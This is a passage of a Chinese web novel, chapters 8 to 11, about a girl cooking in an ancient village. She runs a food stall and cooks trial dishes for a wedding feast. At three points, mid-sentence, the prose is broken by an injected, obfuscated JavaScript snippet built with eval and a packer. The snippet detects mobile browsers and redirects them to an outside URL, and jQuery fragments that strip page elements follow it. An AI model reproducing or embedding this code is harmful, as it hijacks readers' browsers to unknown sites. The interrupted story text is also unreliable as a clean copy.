又继续对卢大娘子道，“我就是再心疼我那二儿媳妇，也是不好让你家侄女给帮忙做的。我想着，要不趁这两天我跟秀珠她大嫂都在这，让你家侄女教教我们，再给我们些调料，我们自己回去做。” 卢晓晓震惊了，哇，这张家婶子真是好大的脸。 8. 酸菜鱼 这话一出，秀珠都恨不得钻桌子底下。 卢大娘子笑着开口道，“亲家母，不瞒你说，我这侄女可是能耐的，在那镇上做吃食生意呢，这可是独门手艺，我们家都学不来呢。” “这确实不好学，那便给我们些调料，我们回家自己做吧。”听说这还是门生意，秀珠娘更不愿意放弃了。 “我不要，奶你做的菜都不好吃。”张家小子嚷嚷道。 “婶子，这调料可贵了，您做起来也麻烦，不若我做好了让大堂哥给您送去，不多收您的，还按摊子上的价收钱。 “小姑娘说笑了，这亲戚间啊，说钱就外道了，不过是你帮我、我帮你的事儿。”秀珠娘说道。 “娘，张家婶子算咱什么亲戚呀，以前逢年过节的也没见我们两家有过往来呀？”卢晓晓扭头小声问卢二娘子，但是在座的人都听清了。 “张家婶子是你二伯娘家的亲戚，自是不会和我们往来的。”卢二娘子回道。 “我看亲家母才说笑了，我们家吃这肉也是拿猎的兔子换来的呢！”卢大娘子又说道。 坐在主桌上的张家大郎可再也听不下去了，给媳妇使了个眼色，张家媳妇本就被臊得没脸，赶紧道，“娘，弟妹也不见得能吃得辣，明日我们就要回去了，还是多陪陪秀珠吧！”说罢，和秀珠一左一右搀着秀珠娘去了里屋。 经这么一闹，主桌也很快吃完了，要收拾的不多，卢晓晓一家就家去了，走时还拿了两只兔子，秀珠娘看见了，又眼热得不行。 回到家已是酉时过半，又是炖红烧肉，又是烧干锅兔，直忙到亥时三刻才歇下。 第二天，兄妹两又早早地出发，辰时差三刻到了镇上，第二次来已经熟练多了，卢二郎摆摊子、生炉子，卢晓晓揉面、做饼、烙饼。 卢大郎占的还是昨天的地儿，等到第一锅的面饼出锅，摊子前已经等了两三个人，都是昨天的回头客。 又过了一会，路上的行人多了起来，摊子前的客人也多了起来，还有那看此处人多便来尝鲜的新客，卢晓晓和卢二郎忙个不停，水都没工夫喝上一口。 这排队的人里头有个小哥，正跟旁人打探这肉夹馍的味道，“老丈，这肉夹馍好吃吗？” “可好吃啦，我老人家牙不好了，这肉夹馍面皮松软，五花肉软糯，吃起来一点都不费劲，我打算再买上几块肉回家做菜吃呢！” 说话间就到了老丈，买了两个肉夹馍，又买了四块五花肉。 小哥见到了自己，忙问道，“小娘子，今儿可有干锅兔肉卖？” 卢晓晓大喜，这年轻衙役果然交友广，才一夜，竟就有人来问这干锅兔了。 “有的，客官要多少？这干锅兔一份是一百文，约摸有半斤重。” “来两份，还有这肉夹馍也给我来两，加芹菜。” “客官，一共是二百一十六文。” 小哥利落地付了钱，拿起包好的肉和馍，急匆匆地走了。 后又有两人寻着这肉夹馍的摊子来买干锅兔，都各买了两份。有位小哥还买了五个肉夹馍，卢晓晓见他不赶时间，便探了探。 “这位小哥，消息可真灵通，我们这干锅兔肉昨天只卖了一份，您今儿就找过来了。” “就是这一份，元家三少爷买回家去做下酒菜，我家少爷没吃着几块，回家之后一直念着，昨夜听说是在一个卖肉夹馍的摊子买来的，今早就打发我出来找了。”这小哥没说，他家少爷先是听说这干锅兔肉是个小摊买来的，很是瞧不上，后来觉得好吃，还被元少爷笑话了一番。 “就是你这做的量太少了些，才只有两份。回家少爷该说我了。”小哥又说道。 “实在不好意思了，我们这是在山里猎的兔子，做得就不多，剩下的两份是昨天的客人定的。你若是明日来，可就没有了。”卢晓晓解释道，这小哥口中说的元家三少爷怕就是年轻衙役。 等到年轻衙役来收摊费的时候，把剩下的两份都要了，约好忙完差事就来拿。 今日这干锅兔卖得快，卢晓晓准备用来试吃的兔肉都没用上，就给来买肉夹馍的客人免费试吃。想要打开销路，就要广泛宣传。 这一试吃，又带了一波肉夹馍的销量，不到午时，肉夹馍就卖完了，两人收拾好摊子，见年轻衙役还没过来，卢晓晓就让卢二郎守着摊子，她到集市上转转。 沿街的摊子不少，她重点观察了下买吃食的摊子，有卖汤饼的，卖馒头的，卖肉饼的，卖粥的，各式各样，琳琅满目。 走到街尾，她竟看到一个卖肉夹馍的摊子！驻足看了会儿，这肉没有炖烂，色泽偏暗，饼看着也没有她做的松软，但用料扎实，价格又便宜了一文钱，生意倒也不错，摊主见到她，竟还瞪了一眼。 天啊，这古代第二天就有了山寨货，卖山寨货的人还挺凶，卢晓晓带着五味杂陈的心情到了市集。 市集上多是一些农民拿着地里摘的菜，河里捞的鱼虾，或是自家做的吃食，也有一些山货。卢晓晓还发现有人卖酸芥菜，村里多是吃腌咸菜，她到这之后还没吃过。 卢晓晓是知道怎么做酸菜的，可想到酸菜做的美食，口水就忍不住的分泌，一天也等不了了！花了两文钱买了颗酸芥菜，便回去了。 到了摊子，兔肉果然被取走了，回家路上经过河边卖鱼的渔船，买了一尾三斤重的大草鱼。 回到家把鱼放木盆里养着，又收拾了一番，就回屋歇息了，卢晓晓很好地保留了现代午睡的习惯。 睡醒之后，见两位堂姐来了，道，“春芬，春芳姐，我今儿打算做一道新菜，最是开胃了，你们走的时候端一碗回去。” 打过招呼，卢晓晓先去菜地割了几颗老芥菜，又找了个坛子，洗净晾到院子里，就开始做今日的晚食。 把买来的酸菜冲洗干净，把水攥干，斜切成条状备用。从木盆里捞出鱼，用刀背拍晕，去鳞、鳍、鳃，去内脏，再把肚子里的一层黑膜刮去，洗净。 将鱼平放在案板上，用刀贴着中间的鱼骨将将整块鱼肉片下来，然后翻面片下另一边的鱼肉，再将鱼头劈开，鱼骨斩成两指宽大小的块。 再准备葱、姜、蒜、茱萸、麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811411|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椒等调料，葱捣出汁，蒜剥成瓣，姜切成片，干茱萸碾成细末，又取出麻椒若干。 将火烧成中火，把锅置于火上，下油烧至五成热，放蒜瓣、姜片、麻椒爆出香味，再下酸菜条煸炒，灶里填上一根柴，加水烧沸，下鱼头、鱼骨块用猛火熬煮，打尽浮沫，烹入料酒，下盐调味，盖上盖子，继续熬煮。 再将片下来的大片鱼肉平放在案板上，斜刀将鱼肉片成带皮薄片，盛入碗中，加入盐和葱汁调味去腥，再取一只鸡蛋，倒入蛋清，拌匀使鱼片裹上一层蛋清，再将鱼片抖散，放入熬煮的鱼汤锅内。 另起一锅置火上，下油，下茱萸末煸炒出香味后，倒入汤锅内煮至鱼片断生，起锅。 这酸菜鱼集齐了麻、辣、鲜味，又揉和酸菜的酸香，令人味蕾大动，垂涎欲滴。卢二娘子三人早就在煸茱萸末的时候围了过来。 刚出锅的酸菜鱼味道最好，一人给盛了一小碗的汤和两片鱼肉，这鱼肉吃到嘴里只觉得鲜、嫩、爽，又喝口汤，熨帖极了。 天啊，这要是我的亲妹妹就好了，春芳不由地想到。 卢晓晓又找出一瓦罐，盛入酸菜鱼，让姐妹俩拿回去，又说晚食后会找卢大娘子说事，瓦罐不用送回来了。 把次日用的红烧肉焯水炖上，卢大贵父子三人就回来了，卢晓晓将酸菜鱼锅放置在四方的烤火木架上，一家人围着锅吃鱼，鱼肉嫩滑入味，鱼汤酸辣可口，吃得人冒汗，卢二郎直呼过瘾，一家人吃得痛快极了。 吃过晚食，收拾好灶房，卢晓晓拿出了钱袋子，一家人精神奕奕的串起钱来，卢二娘子和卢晓晓负责穿，卢家兄弟负责验看，卢大贵欢喜得左右来回看。 连着昨日零出的二十六文钱，又从公中的伙食费中拿出六十二文的买菜钱，竟数出了足足十五吊半钱！ 拿出今日的本钱，又拿出分给卢二伯家的四百文钱，今天挣了有五百三十文。 “晓晓，我们明日多买两斤肉多做些吧！”卢大贵道。 “是呀是呀，我们今日不到午时就卖完了。”卢二郎接到。 “再观望几日，这两日，镇上的人吃着新鲜，买的人多了些，过几日这客人数怕会回落，咱先继续按五斤的量卖。”卢晓晓摇了摇头，汤饼、馒头各有所爱，这新吃食最怕叫人看到有多有剩的。 “今日我还在街上看到了另一家卖肉夹馍的，咱家得做个幌子，好叫人认准咱家的内夹馍。”卢晓晓竟忘了做生意顶顶重要的一件事，品牌效应。 “这事就交给我吧，回头三郎给写几个大字，我寻块布绣上，就叫卢记肉夹馍如何？”卢二娘子说道。 大家点头说好，无不同意的。 “咱这两日挣的钱，看着多，可大头都是卖干锅兔的钱，肉夹馍利薄，这兔肉也不是日日都有，我想问问二伯家能不能养上一些兔子。”卢晓晓说道。 “这兔子怕是不好养，兔子繁殖快，但容易生病。”卢大贵思索道。 “只管先问上一问。”卢二娘子拍板到。 “大贵！惠娘！”院子外传来卢大娘子的声音。 9. 大好机会 卢二娘子闻声走了出去，“大嫂怎么亲自过来了，我这正准备和晓晓过去找你们呢！” 堂屋里卢晓晓数出四吊钱，把余下的钱拿回里屋放好。 “我娘家大嫂唤我过去一趟，怕你们跑空了，就来说一声，一会我再过来啊！”说罢，风风火火地走了。里正家和卢大贵家离得近，都在村子的东边。 卢晓晓趁着等卢大娘子的时间，把晾干的芥菜烫熟，放进洗净的坛子里，又把烫菜的热水倒进坛子中，盖上坛盖，再用水密封住，腌制酸菜的工作就做完了。只等在阴凉干燥的地方放置几天，就能吃上酸爽可口的酸菜了。 不到半个时辰，卢大娘子就过来了，问找她何事。卢二娘子把人请到屋里坐下，卢晓晓把四吊钱递过去，道，“伯娘，这是今日卖兔子的钱，卖了四斤，一共是四百文钱，您点点。” 卢大娘子不由地愣了愣神，好家伙，这两只兔子竟一天就卖了出去，挣了四百文钱。这生意可太好了，比往日挣得多，还不用去酒楼看人脸色。往日去酒楼也不是每次都能卖到一百二十文呢！ “这干锅兔麻辣鲜香，很得人喜欢，昨日有位衙役买了那半斤回去招待朋友，今日就来了好几位客人！” “明日我就让你二伯和堂哥进山里看看，再套上几只。”夏季山里兔子多，这几次山里留的陷阱多是捕的兔子，若是肯守着，也能套上一两只。 “可太好了，伯娘，我还有个想法，这到了秋冬季，能捕到的兔子就少了，要是咱自家能养上一些，这样就不缺兔肉卖了。 “这是个好主意，我回去跟你二伯合计合计。”卢二伯娘果断应承道。 “二嫂，这事不急，这会山里的兔子正多，养兔子的事总要等这生意稳定了，眼见着能长长久久地做下去了再说。”卢二娘子道。 “晓晓的手艺我是相信的，今儿拿过去的酸菜鱼，我尝了一口，好吃得连舌头都要吞到肚子里去了，秀珠让我好好谢谢晓晓呢。”酸菜鱼最是开胃，正适合秀珠吃。 “嫂子吃好就行，今儿的酸菜是市集上买的，不够爽脆，等过几日，我腌的酸菜熟了，再给送几颗过去，更好吃呢。”卢晓晓得意道。 “呀，说起这个，倒让我想到，我娘家那边的事能让晓晓解决呀！”卢大娘子嚷道。 “是个什么事，怎么突然叫你过去了？”卢二娘子问道。能帮上忙自然是好的，都是一个村里的人。 卢大娘子仔细说了起来，原来是她娘家的大侄子，十日后成亲，原先定下了镇上的刘大厨来做席。可今日镇上突然来人说刘大厨摔断了胳膊，十日后的亲事怕是做不成了。里正连忙让人去镇上看了看，刘大厨的胳膊果然是断了。 这婚事选的是个大好日子，别说镇上的大厨，就连邻近几个村里能做席的人也都被定光了。 成亲摆席可是大事，要是没让人吃好，这村里村外都看着，要被人说笑一辈子的！更别说这邀请的客人里还有大儿子的同窗。 里正一家着了急，连在学堂里的大儿子都叫回来了。里正娘子就寻思着把家里的亲戚都找来，叫大伙儿都说说自己的拿手菜，看看能不能凑上桌席。 可叫卢大娘子说，这些亲戚们虽说跟灶台打了半辈子交道，可无非都是放菜，或煮或炒，再放上一点盐，起锅。怕是油都舍不得多放的，手艺还不如她呢！ “叫我说，晓晓这手艺若是能去，定是比那刘大厨做的还好吃，保管让客人们满意。”卢二伯娘说道。 卢晓晓一听，这可是宣传卢家食摊的大好机会呀，里正大儿子在镇上读书，结婚定会请几个想好的同窗，这远近几个村，和里正家相熟的人也多。 “伯娘可知道要摆多少桌？”若是太多了，她一个人应付不来，这做席的大厨一般都会带一到两个帮手。 “十桌，到时候伯娘就跟你娘一块帮你打下手，叫你婶子把那准备给刘大厨的一贯钱都给你。” 要是准备两道提前做的菜，再加上有人帮忙，应该是没问题的。 “伯娘，那我们跟婶子去说说，正好我炖的红烧肉好了，让她尝尝我的手艺，若是觉得好，明天再试试别的菜。”卢晓晓赶紧道，晚了就怕机会没了。 “走走走，你去夹两块肉，咱这会就过去。”这越是临近成亲的日子，事越多，要是能早解决这做席的事，里正娘子定是欢喜。 这里正家，一家人果然还聚在一起想法子，都掏空心思地想哪能请来厨子，刚听了大家的拿手菜，只觉得让亲戚动手是下策中的下策了。 也是赶巧了，卢二伯娘和卢晓晓来之前，里正家小儿子正好提道，“叫卢怀义的姐姐做吧，她做的肉夹馍可好吃了！” 里正娘子是知道小儿子嘴有多刁的，可这卢家小丫头才多大，这肉夹馍又是什么，这做小吃和做席上的大菜能一样吗？正要细问，就听到了小姑子的声音。 出去见小姑子带着卢家小丫头过来了，这小丫头的手上端着个小碗，里头盛着两块红艳艳的带皮五花肉，这仔细一闻，还能闻到浓郁的肉香。 小姑子小声道，“嫂子，我把做席的人给你带来了。” 里正娘子把人让进来，唤儿子女儿让了座。堂屋里坐着好些人，老里正夫妇坐在正座上，右边是里正并两个儿子和一个女儿，左边是二儿子夫妇并儿子儿媳和一个女儿。 “丽娘，怎么又过来了。”老里正问道。 “爹、娘，这是大富那边的侄女，唤晓晓，别看她年龄小，做饭的手艺可好了！我想着可以让她给大侄子做席。” “哟，这不是卢大贵家好吃的小女儿吗？听说你在镇上卖吃食呢！”老里正的二儿媳说道。 “晓晓，你会做些什么菜？”里正娘子问道。 “婶子，这是我做的红烧肉，镇上卖的肉夹馍就是用这个肉做的，你们尝尝。” 里正娘子把两块四方的红烧肉，分成了八小块，几个大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811412|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人尝了一块，又叫大儿子尝了一块，剩下一块，小儿子嚷嚷道，“我尝尝，我尝尝，我吃过肉夹馍，看看是不是一个味儿。 众人吃罢，只道味好。 卢晓晓又道，“婶子，我还会做酸菜鱼、地锅鸡，鸭肉也会做，还会些小炒。” “我看这事能成，明日使钱买了这些菜来试试看吧！”老里正娘子说到，小女儿说好的人，她自是要支持的。 “是，娘，我吃着也觉得不比刘大厨的手艺差，这卢家的小丫头竟吃出了这样好的手艺。”里正接道。 卢晓晓跟里正娘子说好要准备的菜，又约好明日未时过来，便与卢大娘子各自家去了。 次日，卢家兄妹俩照常去镇上出摊，那个抱怨干锅兔少的小哥一大早便来了，问何时再有干锅兔卖。 原来这小哥在镇上的大户宋家做事，昨日卢晓晓告诉他干锅兔加热后更好吃。昨日初一，全家人要一处吃饭，宋家少爷便让他拿去灶房使人加热一番，晚食后再吃。 可这灶上管事不知怎么回事，竟上到了晚席上。这麻辣鲜香的新鲜口味得到全家人的一致好评，老爷还夸少爷孝顺，又问是哪家酒楼买的，少爷不敢说是小摊上的东西，只说是朋友送的。 宋家少爷虽然得到了夸赞，可是他还是没吃着几块干锅兔肉啊，这才有了宋家小哥一大早来摊子上问干锅兔的事。 卢晓晓答道，怕是要后日，得等家里得闲去山里猎了兔子才有卖了。 宋家小哥只好道，后日再来看，若是有可得给他家少爷留两份。 好些尝过干锅兔的客人都来问，有个镇上的闲汉也来问，边上的人笑话他，道，“胡老四，这干锅兔肉，百文一份，吃得起吗？” 胡老四说，谁说他吃不起。又说，这摊主不会做生意，要是做成干锅鸡多好，鸡肉每天都有，还便宜。 卢晓晓解释说，一是这兔子肉质鲜嫩，与这干锅的做法最搭配，二是干锅兔中放了味特殊的调料，这调料的原料难寻，故也没法多做。这么一解释，想吃干锅兔的人就更多了。 鸡肉价贱，做的吃食卖不起价，所谓物以稀为贵，量少才能价高，若是做成烂大街的吃食，还怎么挣钱？ 年轻衙役也来了一回，穿着常服，一看就是哪家的少爷，打马过来，让卢晓晓初七那日给做两斤红烧肉，若是有干锅兔，也给留两斤。卢晓晓算了算日子，正好是五日后，与里正家的喜席不冲突，就答应了下来。 年轻衙役付了一百文定金，又说，他姓元，名振飞，若是初七那日，他没能过来取，就让家里的老仆过来，到时报上他的名字。 这日的客人果然比前两日略少了些，直到午时才将带来的红烧肉卖完，期间，卢晓晓还抽空去集市买了颗酸菜，又去香料铺买了桂皮、八角、香叶等香料，这些都是里正娘子给了钱的。 回到家已接近未时，卢晓晓略微歇息了一会，就拿着酸菜和香料往里正家去了。 10. 盐水鸭 今日要试的菜是酸菜鱼，还有一道鸭肉做的菜。因昨儿试的红烧肉一人只吃到了小小的一块，小辈们都没吃到，大家都要求再试一次红烧肉。 到了里正家，里正娘子把需要的菜都准备好了，买了一尾三斤重的大草鱼和一只两斤重的鸭子和一块肥瘦相间的五花肉。 鸭肉肥厚，多腥臊，卢晓晓要做的便是南京名菜盐水鸭。盐水鸭做法返璞归真，滤油腻、驱腥臊、留鲜美、驻肥嫩。若是做好了，皮白油润，肉嫩微红，淡而有咸，香、鲜、嫩三者毕具，令人久食不厌。 卢大娘子也过来了，今日只做三个菜，便不需要她帮忙，这也是为了看卢晓晓的真本事。可她作为引荐人，自是要过来陪着的。 卢晓晓将鸭子宰杀，烧热水褪毛，斩去小翅和脚爪，在右翅窝下开约两寸长的口子。从开口处拉出气管和食管，取出内脏，用清水浸泡，洗净血污，沥干水分。 又将锅置于火上，放入食盐、麻椒充分翻炒，炒熟炒香后装碗中，趁热将椒盐从翅窝下刀口处填入鸭腹中，摇晃均匀。再从鸭颈刀口处和鸭嘴塞入，然后将鸭放入缸内腌渍。 这盐水鸭的关键在于卤水，一锅清水，放入盐、姜片、葱结、少许桂皮、一颗八角，大火烧开，再用慢火熬煮成卤。 又取了五花肉分段、焯水、切块，入锅加料煸香，放糖炒糖色后加入过面的热水小火炖上。 此时，鸭子已腌渍有半个时辰，取出放入熬好的清卤缸中在腌泡上半个时辰。 然后将带来的酸菜斜切成条，从木桶里捞出鱼，刮鳞去腮，除去内脏，把鱼骨斩成段，起锅下调料煸香后加酸菜爆炒，加水大火烧开，再加入鱼头、鱼骨熬煮成酸汤。 把腌泡好的鸭子取出挂在通风处吹干。红烧肉快炖好了，添上一根柴，大火收汁后，便起锅盛到碗中。又把鱼肉片成薄片，过蛋液下入酸汤锅中，最后加上一小勺麻椒油，酸辣可口的酸菜鱼就出锅了。 七月初，正值盛夏，做好两道菜，卢晓晓不爱出汗的体质，额头也开始冒汗。略微用棉布手绢擦了擦，又不停歇地继续做盐水鸭了，这菜可是今天的重头戏。 用一根约摸四寸长的空心芦管从鸭子的臀部插入腹中，再从翅窝下刀口处放入葱结，姜片，八角等调料。 将汤锅置火上，放入清水，大火烧沸，再放入生姜、葱结，八角，改用微火，将鸭腿朝上，头朝下放入锅内，汤汁顺着芦管流入鸭腹，盖上锅盖焖约一刻半钟。 然后改成中火，待锅边起小泡时，揭开锅盖，提起鸭腿，将鸭腹中的汤汁沥入锅内，又将其揿入汤中，使鸭腹内灌满热汤，如此反复三到四次，卢晓晓已是大汗淋漓，再用微火焐一刻半钟，抽去芦管，沥去汤汁，盐水鸭就做好了。 将盐水鸭斩成块装盘，又将酸菜鱼复热，卢晓晓略微收拾一番，便去堂屋请里正娘子过来先试酸菜鱼和红烧肉。 堂屋里，除了还在学堂上学的杜子松，里正一家老小都在，知道今天要试菜，下地的早早就回来了，小辈们今儿就没出去，都等着吃呢。 这人一多，就没法到灶房里试菜了，里正娘子便和二房弟妹、卢大娘子一道把菜盛了出来。 只见这三道菜，一道是红艳艳，一道是金灿灿，还有一道白似玉。再一闻，红烧肉的浓郁肉香味，酸菜鱼的酸爽味，盐水鸭的咸鲜味交织在一起，让人口中直分泌口水。 里正喜吃鱼，夹了片鱼放进口中，麻、酸、鲜味瞬间袭击味蕾，震惊酸菜和鱼竟能有这样好的融合。里正娘子尝了口盐水鸭，只觉得皮肥骨香，鸭肉鲜嫩异常，咸鲜可口。其余人各自夹了自己想吃的菜尝味。 卢大娘子见众人满意的神色，便知这事成了，高兴地道，“大嫂，我说的没错吧，晓晓这手艺没得说的，大侄子的喜席就交给她吧。” 杜家大郎连连点头，这手艺绝对没问题，何止没问题，他就没在席上吃过这样好味道的菜！ 里正娘子高兴极了，没想到这卢家小丫头，小小年龄，竟有这样好的手艺，便说道，“晓晓，十二那日需做十桌席，做这三个菜再加个地锅鸡，还有小菜若干，可做得来？” “婶子，做得的，这里头盐水鸭最费时，放凉吃咸鲜味更好，上午先做好。红烧肉也能先炖好，酸菜鱼可以先熬好鱼汤，切好鱼片，到快开席时，再下鱼片最最好吃。”卢晓晓有条不紊的说道。 “你有章程便好，那就说定了，十二那日，来做十桌席，约摸酉时开席。” 里正娘子又说到，“晓晓，这次真是帮了婶子大忙了，等这席面过后，婶子定帮你把这做席的名声扬出去。” “先谢谢婶子了，只这做席面颇费工夫，只盼婶子多与人说说我家镇子上的肉夹馍摊子呢。”做席面累，又耽误摊子上的生意，卢晓晓是不愿意多做的。 试完菜，眼见到了吃晚食的时间，杜家二房娘子便去做饭了，今日简单，只需把饭煮上，再煮碗青菜便好。 里正娘子让卢大娘子和卢晓晓都捡两碗菜回家吃，卢晓晓捡了几块盐水鸭，卢大娘子捡了一碗酸菜鱼，又夹了几块红烧肉，便各自家去了。 一出门，晚风吹得卢晓晓一个冷颤，汗湿的衣服贴在身上只叫人觉得凉飕飕的。 到了家，卢二娘子已经做好了晚食，再加上卢晓晓带回来的盐水鸭，一家人也吃得很是丰富。卢晓晓给众人说了试菜如何顺利的事。 吃过饭，略微歇息了一番，卢晓晓又要准备第二天的红烧肉，这一天忙下来，犹如陀螺一般，不得停歇，卢晓晓只叹这挣钱可真是累呀。 好不容易忙完，就拿出了今天的钱袋，一家人将今日挣的钱点出来，这一日只卖了肉夹馍，挣得少，挣了不到两百文钱。 卢二郎颇有些失望，道，“若是天天有干锅兔卖就好了，今儿可多人问了。” “大多数的人怕是都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811413|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟镇上的胡老四一般只是问问，这真正有心买的就只是那宋家的小哥了。”卢晓晓也有些沮丧，觉得忙碌了一天只挣了这么些钱。 她今日仔细观察了一番，买肉夹馍的人里，能花百文买道吃食的不多，若是真要花这钱，也更愿意去镇上的酒楼，虽说未必有她做的好吃，可有面子呀。 “这每日有个两百文的进账已是很好了，镇上打一日的零工最多能挣到五十文。”卢大贵说道。 “咱这摊子，必须要做出名气，才能有更多舍得花钱的顾客过来。”卢晓晓说道，她并不想因为经营的是个摊子，就只卖些平价吃食，若是能做成远近闻名的小吃摊，找准市场，也不是不能多卖些价高的吃食。 “若是里正家的席面，大家吃好了，少不得要给咱家的肉夹馍加几分名气。”卢三郎道。 “是这么个理，这买东西都想买那名气大的，买的人多的，便是贵上几分，也是能接受的。”卢大贵肯定道。 “只是那日我要去做菜，顾不上摊子了，得娘支应一天。我已经跟伯娘说过了，做席那边就让伯娘和春芬姐帮手。”这生意不能断。 “这不碍事，娘提前几日跟你去摊子上熟悉熟悉，到时候就叫你爹去买肉。你要的幌子，今日也绣出来了，娘这会去拿过来。”要想做出名气，那必是得先有个名儿的。 卢晓晓没想到卢二娘子能这样快绣出来，这可太好了，赶明儿起，大家来买肉夹馍的时候，都会见着这卢记的幌子了。 卢二娘子选了块黄色的布，用红色的线绣着卢记肉夹馍几个碗口大的字，很是显眼。字是照着卢三郎写的字样绣的，卢三郎小小年龄，写的字已颇显大气。 见到幌子，大家对未来畅想起来，卢三郎见大家为了挣钱都那样努力，就他一人帮不上什么忙，越发觉得自己该更努力的读书，早日考取功名。 次日一早，兄妹俩便早早的去镇上摆摊了，卢三郎也比往日早了一刻起床温书。 到了镇上，大黄幌子支了出来，卢家肉夹馍的摊子顿时在整条街上亮眼起来，卢二娘子还在幌子上绣了个肉夹馍的图样，往来的行人不免多看两眼。 揉面、做饼、卖馍，忙碌了一上午，许是幌子吸引人，今日未到午时就卖光了。卢晓晓观察了一番，有好几个老客是买肉回去做菜吃的，寻思明日可以加上一斤肉了。 到了家，卢二娘子说卢怀德来过了，给送了三只兔子，又说卢二伯家这几日要给田里的稻子通水、施肥，还要把绿豆种上，不得闲进山了。这庄稼人挣钱也不能忘了田里的地。 卢晓晓算了算，这兔子今日做一只，初七那日做一只，剩下一只，只看有没有人来定，也是够用了。 卢二娘子又说卢二伯从山里抱出了一窝小兔子，正让春芬、春芳养着，若是养成了，以后便不用进山打兔子了。 如果在家便能有稳定的收入，谁又愿意进山去冒险呢。 11. 苏氏熏鱼 到了初六这日，摊子上的流水已经基本稳定了，每日做六斤的红烧肉，约摸午时能卖完，约可进账两百文。 干锅兔两日前做了一回，宋家小哥要了两份，剩下的，一份卖给了镇上的一个老餮，一份卖给了书肆的方掌柜，还有一份没卖出去。 干锅兔的售价高，目前摊子上的主流顾客还消费不起，适合预订，卢晓晓便寻思着要开发道新吃食。 正好明日摊子的大主顾元三郎和宋家小哥都要来取干锅兔，是推出新品的好时机，回村的路上，便绕道到了卖鱼的鱼船处买了一尾大草鱼。 “晓晓，我们今日可是要做酸菜鱼？”卢二郎高兴地问道。 “打算做道新吃食放摊子上卖。不过，家中的酸菜怕是腌制好了，那今晚就吃酸菜鱼吧！”说罢，又多买了一尾鱼。 拎着两条活蹦乱跳的大草鱼回家，引得村口闲聊的张大娘频频张望，不免道，“好家伙，这卢家还真做成这吃食生意了，天天在家炖肉，这两条大草鱼说买就买了。” “这卢家夫妇两有福了，这卢家小丫头的手艺可真是好。”里正家的二房娘子说道。 “你怎么知道？”不知是谁问道。 “我、我去镇子上吃过她做的肉夹馍！那肉炖得可香了，入口即化！” 这里正家二房娘子也是个拎得清的，虽喜欢与人闲聊，但也知道卢晓晓给她家做席的事不宜事前声张，尝过卢晓晓的手艺知道那自是没问题，可若是没尝过知道他们找了个小丫头做席，怕是要起不少的风波。 又说卢氏兄妹两回了家，一道数了钱，卢晓晓又歇息了会儿，便起身做吃食了，她今儿要做的是江苏一带的传统风味名吃，苏氏熏鱼。 这苏氏熏鱼以腌制和浸泡入味，外皮酥脆，内部肉质鲜嫩，口味甜咸适中，作下酒菜或日常菜肴都可。 卢晓晓捞出一尾大草鱼宰杀并清洗干净，去除内脏和黑膜，将鱼头对半切开后，除去腮和牙齿，鱼身由背部切对开成为两半后，再切成半寸厚的鱼块，鱼尾直接切成半寸厚的鱼块。把葱与姜拍碎后放入碗中，再加入料酒，将鱼块腌制一刻钟去腥。 将酱油和砂糖融合，加入清水，调成料汁。起油锅，放入茱萸、麻椒、八角、桂皮等香料爆炒出香味，加入调好的料汁，大火煮沸，又转小火熬上一刻钟，直至酱汁粘稠。 将腌制好的鱼块表面裹上一层薄面粉，起油锅，待油温升至微微冒小气泡时，将鱼块分批放入油锅中炸至表面定型，颜色微黄便捞出，捞出后大火烧锅，等锅内油烧至快冒烟时，又将鱼块复炸，鱼块变得金黄酥脆时捞出，确保鱼肉外酥里嫩。 将炸好的鱼块放入熬好的酱汁中浸泡约半刻钟便夹起来，让鱼肉充分吸收酱汁的味道，又保持表面酥脆的口感。 做好后放到碗中晾凉，找出一小罐把酱汁收好，若是卖得好，这酱汁明日还能继续用呢。 一尾草鱼六十文钱，得了二十块熏鱼，算上香料，这熏鱼卢晓晓打算卖上八文钱一块，十五文钱两块。 做完熏鱼就到了做晚食的时候，卢晓晓打开酸菜坛子，只见几日前泡制的酸菜色泽鲜亮，香味扑鼻，撕一小片放口中，只觉得味道咸酸，口感爽脆，泡制的时间刚刚好。 拿出一颗酸菜，斜切成条，又将鱼切出鱼片，斩断鱼骨，熬煮成汤，下鱼片，做出一锅酸辣可口的酸菜鱼，再煮上一锅米饭，这晚食就做好了。 卢晓晓把做好的酸菜鱼端了出去，又夹了五块熏鱼做菜，酸菜鱼酸爽嫩滑，熏鱼外酥里嫩，酱香浓郁，各有各的滋味。 卢二郎原以为酸菜鱼是鱼最好吃的做法了，可一吃这苏氏熏鱼，他竟不晓得如何评了。 